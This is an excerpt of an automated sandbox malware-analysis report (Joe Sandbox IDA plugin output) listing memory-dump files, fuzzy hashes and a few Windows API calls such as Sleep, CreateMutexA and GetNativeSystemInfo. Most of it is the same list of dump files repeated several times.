Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8c4c4c40463b3aa78b5d0681a32df5a926d4d2e2188219c0d9d86a3c859c55b2
Instruction ID: f32225b285faee694cc649940a7d46de6c5e1388e0350c064881d3ee0def25a2
Opcode Fuzzy Hash: 8c4c4c40463b3aa78b5d0681a32df5a926d4d2e2188219c0d9d86a3c859c55b2
Instruction Fuzzy Hash: 9F214C317052009BFB189B6CECC97EDB761EBC2310F244219E498D72D6DB79A9C18752

Function 0001A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0001A963
CreateMutexA.KERNEL32(00000000,00000000,00073254), ref: 0001A981

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8f466213fd897392bef625bf0128eff30e1e4e1a1516e7f34c08c08c7fa326a5
Instruction ID: 09e2c14c77c7ae35dde69ff696d21890ec0d21cd97c626d7b5d20fcf804e67eb
Opcode Fuzzy Hash: 8f466213fd897392bef625bf0128eff30e1e4e1a1516e7f34c08c08c7fa326a5
Instruction Fuzzy Hash: FD210D717472019AF724676CD89A7FEB2A29F82300F244916E188D72D3CE7A59C18293

Function 0001A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0001A963
CreateMutexA.KERNEL32(00000000,00000000,00073254), ref: 0001A981

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: bde8fa032f5fdadaa911ce5606a7a41a8e3d1975913a878c49f2fcb018b82eea
Instruction ID: dfab809c86e057fc127f24fb6b065c33e6ab8926fd3f96c02fb64b4716f4c9fb
Opcode Fuzzy Hash: bde8fa032f5fdadaa911ce5606a7a41a8e3d1975913a878c49f2fcb018b82eea
Instruction Fuzzy Hash: 41217C317422009BFB189B6CECC97EDB762DBC2310F244219E458D76D5C739AAC08392

Function 00017D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00017ED3

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 43c8fe572e49923b8b49e7c75ca2af4bb11a70fc49aa7283e9f38113f36aa89e
Instruction ID: ca623059c4b6fca780476e09b7bd094cf75ce4ec4b3dd62b1f2a1d6dfc84887b
Opcode Fuzzy Hash: 43c8fe572e49923b8b49e7c75ca2af4bb11a70fc49aa7283e9f38113f36aa89e
Instruction Fuzzy Hash: 81E1C370E00654DBDB25AB289C4B3DD7AA1AB85720F94429CE4196B3C3DB395FC187C2

Function 0004D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0004A813,00000001,00000364,00000006,000000FF,?,0004EE3F,?,00000004,00000000,?,?), ref: 0004D870

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089522955.0000000000268000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089550047.000000000026C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089574298.0000000000274000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089597510.0000000000279000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089623520.0000000000280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089645994.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089668458.0000000000289000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089692920.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089715491.0000000000296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089738045.0000000000298000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089762468.0000000000299000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089784317.000000000029A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089805481.00000000002A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089824819.00000000002A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089849365.00000000002B1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089870053.00000000002B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089892631.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089912864.00000000002E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089972997.0000000000313000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089995215.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090013725.0000000000315000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090033127.0000000000318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090051627.000000000031A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090072776.0000000000329000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090092082.000000000032B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 34ab9f2f4a28b2bbc0d37647f5dff585e66c2550092f7aecd305594bec93cb74
Instruction ID: c9a65fd04a1b1a0e5c42ad5462e5068f8ba8f12e3fcc724115d88bb4024efc65
Opcode Fuzzy Hash: 34ab9f2f4a28b2bbc0d37647f5dff585e66c2550092f7aecd305594bec93cb74
Instruction Fuzzy Hash: 6AF0E9B250552466EB712A729C01B7B37999F51770B25803BEC08A7192DE20DC0086E8

Function 000187B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,0001DA1D,?,?,?,?), ref: 000187B9

Memory Dump Source

Source File: 00000000.00000002.2088431329.0000000000011000.00000040.00000001.01000000.00000003.sdmp, Offset: 00010000, based on PE: true

Associated: 00000000.00000002.2088407359.0000000000010000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088431329.0000000000072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088519306.0000000000079000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088547240.000000000007B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088598038.0000000000087000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088797694.00000000001DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848273.00000000001E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088891653.00000000001F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088923988.00000000001F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.00000000001F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089066821.0000000000203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089123318.0000000000206000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089156782.000000000020A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089181029.000000000020B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089206071.000000000020C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089238164.0000000000214000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089265182.0000000000215000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089287923.000000000021D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089313959.000000000021E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089347846.0000000000231000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089372513.0000000000232000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089401031.0000000000234000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089438006.0000000000246000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089470009.0000000000264000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089497673.0000000000267000.00000040.00000001.01000000.00000003.sdmpDownload File
